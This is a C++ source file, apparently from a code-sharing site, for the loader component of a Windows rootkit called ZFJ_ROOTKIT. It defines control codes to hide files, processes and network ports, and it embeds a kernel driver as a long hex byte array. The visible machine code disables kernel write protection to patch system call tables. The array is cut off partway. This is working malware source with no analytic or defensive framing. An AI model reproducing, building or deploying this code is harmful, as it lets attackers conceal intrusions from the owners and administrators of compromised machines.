📄 rootkitmodule.cpp
字号:
#include <Windows.h>
#include <stdio.h>
#include ".\RootKitModule.h"
#include <atlbase.h>
ADD_PINBOARD(RootKitModule)
BEGIN_DLLCREATEPINBOARDINSTANCE
ADD_DLL_PINBOARD_SUSTAIN(RootKitModule)
END_DLLCREATEPINBOARDINSTANCE
#define DEVICE_FILTER_INDEX 0x860
#define ZFJ_ROOTKIT_ADDHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+2,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_DELHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+3,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_STARTHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+4,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_ADDHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+5,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_DELHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+6,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_STARTHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+7,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_ADDHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+8,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_DELHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+9,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_STARTHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+10,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define MY_DEVICE_NAME "\\\\.\\ZFJ_ROOTKIT"
char g_szRootKitModule[] = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00"
"\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00"
"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68"
"\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f"
"\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20"
"\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00"
"\x1d\x55\x06\xc0\x59\x34\x68\x93\x59\x34\x68\x93\x59\x34\x68\x93"
"\x59\x34\x69\x93\x48\x34\x68\x93\xda\x3c\x35\x93\x5a\x34\x68\x93"
"\xd7\x3c\x37\x93\x5b\x34\x68\x93\xd7\x3c\x08\x93\x5d\x34\x68\x93"
"\xda\x3c\x32\x93\x58\x34\x68\x93\x52\x69\x63\x68\x59\x34\x68\x93"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x05\x00"
"\x08\x1c\x0c\x45\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0e\x01"
"\x0b\x01\x07\x0a\x00\x0e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
"\x00\x40\x00\x00\x00\x10\x00\x00\x00\x20\x00\x00\x00\x00\x01\x00"
"\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x02\x00\x05\x00\x02\x00"
"\x05\x00\x02\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x04\x00\x00"
"\xcb\xbe\x00\x00\x01\x00\x00\x04\x00\x00\x04\x00\x00\x10\x00\x00"
"\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x30\x40\x00\x00\x28\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\xc4\x00\x00\x00"
"\x50\x20\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x20\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x2e\x74\x65\x78\x74\x00\x00\x00\x82\x09\x00\x00\x00\x10\x00\x00"
"\x00\x0a\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x20\x00\x00\x68\x2e\x72\x64\x61\x74\x61\x00\x00"
"\xbb\x00\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x0e\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x48"
"\x2e\x64\x61\x74\x61\x00\x00\x00\x64\x0a\x00\x00\x00\x30\x00\x00"
"\x00\x02\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x40\x00\x00\xc8\x49\x4e\x49\x54\x00\x00\x00\x00"
"\x10\x02\x00\x00\x00\x40\x00\x00\x00\x04\x00\x00\x00\x12\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\xe2"
"\x2e\x72\x65\x6c\x6f\x63\x00\x00\xfa\x00\x00\x00\x00\x50\x00\x00"
"\x00\x02\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x56\x8b\x74\x24\x0c\x8b\x46\x60\x8b\x40\x0c\x8b\x56\x0c\x57\xb9"
"\x98\x21\x22\x00\x33\xff\x3b\xc1\x77\x46\x74\x3b\x2d\x80\x21\x22"
"\x00\x74\x78\x83\xe8\x08\x74\x27\x83\xe8\x04\x74\x1a\x83\xe8\x04"
"\x74\x0e\x83\xe8\x04\x75\x3f\xff\x32\xe8\x54\x06\x00\x00\xeb\x5b"
"\xe8\x89\x03\x00\x00\xeb\x54\x52\xe8\x31\x04\x00\x00\xeb\x4c\x52"
"\xe8\x8f\x04\x00\x00\xeb\x44\xff\x32\xe8\x0c\x06\x00\x00\xeb\x3b"
"\x2d\x9c\x21\x22\x00\x74\x2f\x83\xe8\x04\x74\x21\x83\xe8\x04\x74"
"\x13\x83\xe8\x04\x74\x07\xbf\x10\x00\x00\xc0\xeb\x1e\xe8\x64\x08"
"\x00\x00\xeb\x17\xff\x32\xe8\x0b\x08\x00\x00\xeb\x0e\xff\x32\xe8"
"\x2a\x08\x00\x00\xeb\x05\xe8\x23\x05\x00\x00\x32\xd2\x8b\xce\x89"
"\x7e\x18\xff\x15\x00\x20\x01\x00\x8b\xc7\x5f\x5e\xc2\x08\x00\xcc"
"\x8b\x4c\x24\x08\x83\x61\x18\x00\x32\xd2\xff\x15\x00\x20\x01\x00"
"\x33\xc0\xc2\x08\x00\xcc\x5c\x00\x44\x00\x6f\x00\x73\x00\x44\x00"
"\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x73\x00\x5c\x00\x5a\x00"
"\x46\x00\x4a\x00\x5f\x00\x52\x00\x4f\x00\x4f\x00\x54\x00\x4b\x00"
"\x49\x00\x54\x00\x00\x00\x55\x8b\xec\x51\x51\x66\x83\x65\xf8\x00"
"\x57\x33\xc0\x8d\x7d\xfa\xab\x66\xab\xe8\x14\x03\x00\x00\xe8\xff"
"\x04\x00\x00\xe8\x22\x08\x00\x00\x68\xc6\x10\x01\x00\x8d\x45\xf8"
"\x50\xff\x15\x0c\x20\x01\x00\x83\x7d\xfc\x00\x5f\x74\x0a\x8d\x45"
"\xf8\x50\xff\x15\x08\x20\x01\x00\x8b\x45\x08\x85\xc0\x74\x17\x56"
"\x8b\x70\x04\xeb\x0c\x8b\xc6\x8b\x76\x0c\x50\xff\x15\x04\x20\x01"
"\x00\x85\xf6\x75\xf0\x5e\xc9\xc2\x04\x00\x5c\x00\x44\x00\x65\x00"
"\x76\x00\x69\x00\x63\x00\x65\x00\x5c\x00\x5a\x00\x46\x00\x4a\x00"
"\x5f\x00\x52\x00\x4f\x00\x4f\x00\x54\x00\x4b\x00\x49\x00\x54\x00"
"\x00\x00\x5c\x00\x44\x00\x6f\x00\x73\x00\x44\x00\x65\x00\x76\x00"
"\x69\x00\x63\x00\x65\x00\x73\x00\x5c\x00\x5a\x00\x46\x00\x4a\x00"
"\x5f\x00\x52\x00\x4f\x00\x4f\x00\x54\x00\x4b\x00\x49\x00\x54\x00"
"\x00\x00\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x33\xc0\x33\xdb\x66"
"\x89\x5d\xf4\x8d\x7d\xf6\xab\x66\xab\x33\xc0\x66\x89\x5d\xec\x8d"
"\x7d\xee\xab\x66\xab\x8b\x3d\x0c\x20\x01\x00\x68\x5a\x11\x01\x00"
"\x8d\x45\xf4\x50\x89\x5d\xfc\xff\xd7\x8b\x75\x08\x8d\x45\xfc\x50"
"\x53\x53\x6a\x22\x8d\x45\xf4\x50\x53\x56\xff\x15\x14\x20\x01\x00"
"\x3b\xc3\x7c\x5f\xe8\x61\x02\x00\x00\xe8\x4c\x04\x00\x00\xe8\x73"
"\x06\x00\x00\x68\x82\x11\x01\x00\x8d\x45\xec\x50\xff\xd7\x8d\x45"
"\xf4\x50\x8d\x45\xec\x50\xff\x15\x10\x20\x01\x00\x8b\xf8\x3b\xfb"
"\x7d\x10\x39\x5d\xfc\x74\x2a\xff\x75\xfc\xff\x15\x04\x20\x01\x00"
"\xeb\x1f\xb8\xb0\x10\x01\x00\x89\x46\x38\x89\x46\x40\x89\x46\x44"
"\x89\x46\x48\xc7\x46\x70\x00\x10\x01\x00\xc7\x46\x34\xf6\x10\x01"
"\x00\x8b\xc7\x5f\x5e\x5b\xc9\xc2\x08\x00\x00\xcc\x55\x8b\xec\x83"
"\xec\x18\x53\x8b\x5d\x1c\x56\xff\x75\x30\xff\x75\x2c\xff\x75\x28"
"\xff\x75\x24\xff\x75\x20\x53\xff\x75\x18\xff\x75\x14\xff\x75\x10"
"\xff\x75\x0c\xff\x75\x08\xff\x15\x08\x3a\x01\x00\x89\x45\x30\x68"
"\x6a\x12\x01\x00\x8d\x45\xf8\x50\xff\x15\x28\x20\x01\x00\x33\xf6"
"\x39\x75\x30\x0f\x8c\x0c\x01\x00\x00\x83\x7d\x24\x03\x0f\x85\x02"
"\x01\x00\x00\x57\x0f\xb7\x4d\xf8\x8b\x7d\xfc\x8b\xd1\x33\xc0\xc1"
"\xe9\x02\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x33\xc0\x39\x03\x0f"
"\x94\xc0\x89\x45\x24\x8d\x43\x5e\x50\x8d\x45\xf0\x50\xff\x15\x0c"
"\x20\x01\x00\x8b\x3d\x24\x20\x01\x00\x6a\x01\x8d\x45\xf0\x50\x8d"
"\x45\xf8\x50\xff\xd7\x6a\x01\x8d\x45\xf0\x50\x8d\x45\xe8\x50\xff"
"\xd7\x8d\x45\xe8\x50\x8d\x45\xf8\x50\xff\x15\x20\x20\x01\x00\x8b"
"\x43\x3c\x8b\x4d\xfc\xd1\xe8\xc6\x04\x08\x00\xbf\x08\x30\x01\x00"
"\x8b\xc7\x8d\x50\x01\x8a\x08\x40\x84\xc9\x75\xf9\x2b\xc2\x89\x45"
"\x2c\x74\x61\x8b\x43\x3c\xd1\xe8\x50\x57\xff\x75\xfc\xff\x15\x1c"
"\x20\x01\x00\x8b\x4b\x3c\xd1\xe9\x3b\xc1\x74\x10\x81\xc7\x00\x01"
"\x00\x00\x81\xff\x08\x3a\x01\x00\x7c\xc6\xeb\x38\x83\x7d\x24\x00"
"\x74\x13\x3b\x5d\x1c\x75\x09\xc7\x45\x30\x06\x00\x00\x80\xeb\x24"
"\x83\x26\x00\xeb\x1f\x8b\x03\x8b\x4d\x1c\x2b\xc8\x2b\xcb\x03\x4d"
"\x20\x8d\x34\x18\x8b\xc1\xc1\xe9\x02\x8b\xfb\xf3\xa5\x8b\xc8\x83"
"\xe1\x03\xf3\xa4\x8b\xf3\x03\x1b\x83\x7d\x24\x00\x0f\x84\x12\xff"
"\xff\xff\x8b\x35\x18\x20\x01\x00\x8d\x45\xe8\x50\xff\xd6\x8d\x45"
"\xf8\x50\xff\xd6\x5f\x8b\x45\x30\x5e\x5b\xc9\xc2\x2c\x00\x83\x3d"
"\x08\x3a\x01\x00\x00\x74\x03\x33\xc0\xc3\x8b\x0d\x30\x20\x01\x00"
"\x8b\x15\x2c\x20\x01\x00\x8b\x41\x01\x8b\x12\x8b\x04\x82\xa3\x08"
"\x3a\x01\x00\xfa\x0f\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b"
"\x41\x01\x8b\x0d\x2c\x20\x01\x00\x8b\x09\xc7\x04\x81\x6c\x12\x01"
"\x00\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x33\xc0\x40"
"\xc3\xcc\x83\x3d\x08\x3a\x01\x00\x00\x75\x03\x33\xc0\xc3\xfa\x0f"
"\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b\x0d\x2c\x20\x01\x00"
"\xa1\x30\x20\x01\x00\x8b\x40\x01\x8b\x09\x8b\x15\x08\x3a\x01\x00"
"\x89\x14\x81\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x83"
"\x25\x08\x3a\x01\x00\x00\x33\xc0\x40\xc3\x57\xb9\x80\x02\x00\x00"
"\x33\xc0\xbf\x08\x30\x01\x00\xf3\xab\x5f\xc3\xcc\x00\xcc\x53\x56"
"\x57\x33\xd2\xbf\x08\x30\x01\x00\x8b\x74\x24\x10\x8b\xc7\x8a\x18"
"\x8a\xcb\x3a\x1e\x75\x1a\x84\xc9\x74\x12\x8a\x58\x01\x8a\xcb\x3a"
"\x5e\x01\x75\x0c\x40\x40\x46\x46\x84\xc9\x75\xe2\x33\xc0\xeb\x05"
"\x1b\xc0\x83\xd8\xff\x85\xc0\x74\x17\x81\xc7\x00\x01\x00\x00\x42"
"\x81\xff\x08\x3a\x01\x00\x7c\xc0\x33\xc0\x5f\x5e\x5b\xc2\x04\x00"
"\xa0\x7c\x14\x01\x00\xc1\xe2\x08\x88\x82\x08\x30\x01\x00\x33\xc0"
"\x40\xeb\xe7\xcc\x55\x8b\xec\x51\x56\x57\x33\xc9\xbf\x08\x30\x01"
"\x00\x8b\xc7\x8d\x70\x01\x8a\x10\x40\x84\xd2\x75\xf9\x2b\xc6\x89"
"\x45\xfc\x74\x17\x81\xc7\x00\x01\x00\x00\x41\x81\xff\x08\x3a\x01"
"\x00\x7c\xde\x33\xc0\x5f\x5e\xc9\xc2\x04\x00\x8b\x45\x08\xc1\xe1"
"\x08\x8d\x91\x08\x30\x01\x00\x2b\xd0\x8a\x08\x88\x0c\x02\x40\x84"
"\xc9\x75\xf6\x33\xc0\x40\xeb\xdd\x55\x8b\xec\x56\xff\x75\x14\x8b"
"\x75\x0c\xff\x75\x10\x56\xff\x75\x08\xff\x15\x34\x3a\x01\x00\x85"
"\xc0\x7c\x65\x83\x7d\x08\x05\x75\x5f\x8b\x16\x57\x33\xff\x85\xd2"
"\x8b\xce\x74\x4f\x8d\x0c\x32\xeb\x4a\xbe\x0c\x3a\x01\x00\x8b\x16"
"\x85\xd2\x74\x2d\x39\x51\x44\x75\x19\x85\xff\x74\x0d\x8b\x11\x85"
"\xd2\x74\x04\x01\x17\xeb\x03\x83\x27\x00\x8b\x11\x85\xd2\x74\x0f"
"\x03\xca\x83\xc6\x04\x81\xfe\x34\x3a\x01\x00\x7c\xd1\xeb\x02\x33"
"\xc9\x85\xc9\x74\x12\x8b\x11\x85\xd2\x8b\xf9\x74\x04\x03\xca\xeb"
"\x02\x33\xc9\x85\xc9\x75\xb2\x5f\x5e\x5d\xc2\x10\x00\xcc\x83\x3d"
"\x34\x3a\x01\x00\x00\x74\x03\x33\xc0\xc3\x8b\x0d\x34\x20\x01\x00"
"\x8b\x15\x2c\x20\x01\x00\x8b\x41\x01\x8b\x12\x8b\x04\x82\xa3\x34"
"\x3a\x01\x00\xfa\x0f\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b"
"\x41\x01\x8b\x0d\x2c\x20\x01\x00\x8b\x09\xc7\x04\x81\x38\x15\x01"
"\x00\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x33\xc0\x40"
"\xc3\xcc\x83\x3d\x34\x3a\x01\x00\x00\x75\x03\x33\xc0\xc3\xfa\x0f"
"\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b\x0d\x2c\x20\x01\x00"
"\xa1\x34\x20\x01\x00\x8b\x40\x01\x8b\x09\x8b\x15\x34\x3a\x01\x00"
"\x89\x14\x81\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x83"
"\x25\x34\x3a\x01\x00\x00\x33\xc0\x40\xc3\x57\x6a\x0a\x59\x33\xc0"
"\xbf\x0c\x3a\x01\x00\xf3\xab\x5f\xc3\xcc\x33\xc0\x8b\x0c\x85\x0c"
"\x3a\x01\x00\x3b\x4c\x24\x04\x74\x0b\x40\x83\xf8\x0a\x7c\xed\x33"
"\xc0\xc2\x04\x00\x83\x24\x85\x0c\x3a\x01\x00\x00\x33\xc0\x40\xeb"
"\xf0\xcc\x33\xc0\x83\x3c\x85\x0c\x3a\x01\x00\x00\x74\x0b\x40\x83"
"\xf8\x0a\x7c\xf0\x33\xc0\xc2\x04\x00\x8b\x4c\x24\x04\x89\x0c\x85"
"\x0c\x3a\x01\x00\x33\xc0\x40\xeb\xed\xcc\x55\x8b\xec\x83\xec\x24"
"\x53\x8b\x5d\x28\x56\xff\x75\x2c\x8b\x75\x20\x53\xff\x75\x24\x56"
"\xff\x75\x1c\xff\x75\x18\xff\x75\x14\xff\x75\x10\xff\x75\x0c\xff"
"\x75\x08\xff\x15\x60\x3a\x01\x00\x81\x7d\x1c\x03\x00\x12\x00\x89"
"\x45\x28\x0f\x85\x88\x01\x00\x00\x85\xc0\x57\x0f\x8c\x7e\x01\x00"
"\x00\x83\x65\xe0\x00\x6a\x05\x59\x8d\x7d\xdc\x33\xd2\xc7\x45\xdc"
"\x00\x04\x00\x00\xc7\x45\xe4\x00\x02\x00\x00\xc7\x45\xe8\x00\x01"
"\x00\x00\xc7\x45\xec\x01\x01\x00\x00\xf3\xa7\x0f\x85\x98\x00\x00"
"\x00\x8b\x45\x18\x8b\x40\x04\x6a\x14\x59\xf7\xf1\x83\x65\x1c\x00"
"\x85\xc0\x7e\x7a\x8d\x48\xff\x89\x4d\x20\x8d\x4b\x14\x89\x4d\x2c"
"\xbe\x38\x3a\x01\x00\x8b\x3e\x85\xff\x74\x54\x33\xc9\x8a\x6b\x08"
"\x8a\x4b\x09\x3b\xcf\x74\x0d\x83\xc6\x04\x81\xfe\x60\x3a\x01\x00"
"\x7c\xe3\xeb\x3b\x8b\x4d\x20\x39\x4d\x1c\x74\x2f\x8b\x75\x2c\x8b"
"\xc8\x2b\x4d\x1c\x8b\xfb\x49\x8d\x0c\x89\xc1\xe1\x02\x8b\xd1\xc1"
"\xe9\x02\xf3\xa5\x8b\xca\x83\xe1\x03\x48\xff\x4d\x20\xff\x4d\x1c"
"\x83\xeb\x14\x83\x6d\x2c\x14\xf3\xa4\xeb\x04\x48\xff\x4d\x20\xff"
"\x45\x1c\x83\x45\x2c\x14\x83\xc3\x14\x39\x45\x1c\x7c\x92\x8d\x04"
"\x80\xc1\xe0\x02\xe9\xad\x00\x00\x00\x8b\x75\x20\x6a\x05\x59\x8d"
"\x7d\xdc\x33\xd2\xc7\x45\xec\x02\x01\x00\x00\xf3\xa7\x0f\x85\x9c"
"\x00\x00\x00\x8b\x45\x18\x8b\x40\x04\x6a\x18\x59\xf7\xf1\x83\x65"
"\x1c\x00\x85\xc0\x7e\x7a\x8d\x48\xff\x89\x4d\x20\x8d\x4b\x18\x89"
"\x4d\x2c\xbe\x38\x3a\x01\x00\x8b\x3e\x85\xff\x74\x54\x33\xc9\x8a"
"\x6b\x08\x8a\x4b\x09\x3b\xcf\x74\x0d\x83\xc6\x04\x81\xfe\x60\x3a"
"\x01\x00\x7c\xe3\xeb\x3b\x8b\x4d\x20\x39\x4d\x1c\x74\x2f\x8b\x75"
"\x2c\x8b\xc8\x2b\x4d\x1c\x8b\xfb\x49\x8d\x0c\x49\xc1\xe1\x03\x8b"
"\xd1\xc1\xe9\x02\xf3\xa5\x8b\xca\x83\xe1\x03\x48\xff\x4d\x20\xff"
"\x4d\x1c\x83\xeb\x18\x83\x6d\x2c\x18\xf3\xa4\xeb\x04\x48\xff\x4d"
"\x20\xff\x45\x1c\x83\x45\x2c\x18\x83\xc3\x18\x39\x45\x1c\x7c\x92"
"\x8d\x04\x40\xc1\xe0\x03\x8b\x4d\x18\x89\x41\x04\x8b\x45\x28\x5f"
"\x5e\x5b\xc9\xc2\x28\x00\x57\x6a\x0a\x59\x33\xc0\xbf\x38\x3a\x01"
"\x00\xf3\xab\x5f\xc3\xcc\x33\xc0\x8b\x0c\x85\x38\x3a\x01\x00\x3b"
"\x4c\x24\x04\x74\x0b\x40\x83\xf8\x0a\x7c\xed\x33\xc0\xc2\x04\x00"
"\x83\x24\x85\x38\x3a\x01\x00\x00\x33\xc0\x40\xeb\xf0\xcc\x33\xc0"
"\x83\x3c\x85\x38\x3a\x01\x00\x00\x74\x0b\x40\x83\xf8\x0a\x7c\xf0"
"\x33\xc0\xc2\x04\x00\x8b\x4c\x24\x04\x89\x0c\x85\x38\x3a\x01\x00"
"\x33\xc0\x40\xeb\xed\xcc\x83\x3d\x60\x3a\x01\x00\x00\x74\x03\x33"
"\xc0\xc3\x8b\x0d\x38\x20\x01\x00\x8b\x15\x2c\x20\x01\x00\x8b\x41"
"\x01\x8b\x12\x8b\x04\x82\xa3\x60\x3a\x01\x00\xfa\x0f\x20\xc0\x25"
"\xff\xff\xfe\xff\x0f\x22\xc0\x8b\x41\x01\x8b\x0d\x2c\x20\x01\x00"
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -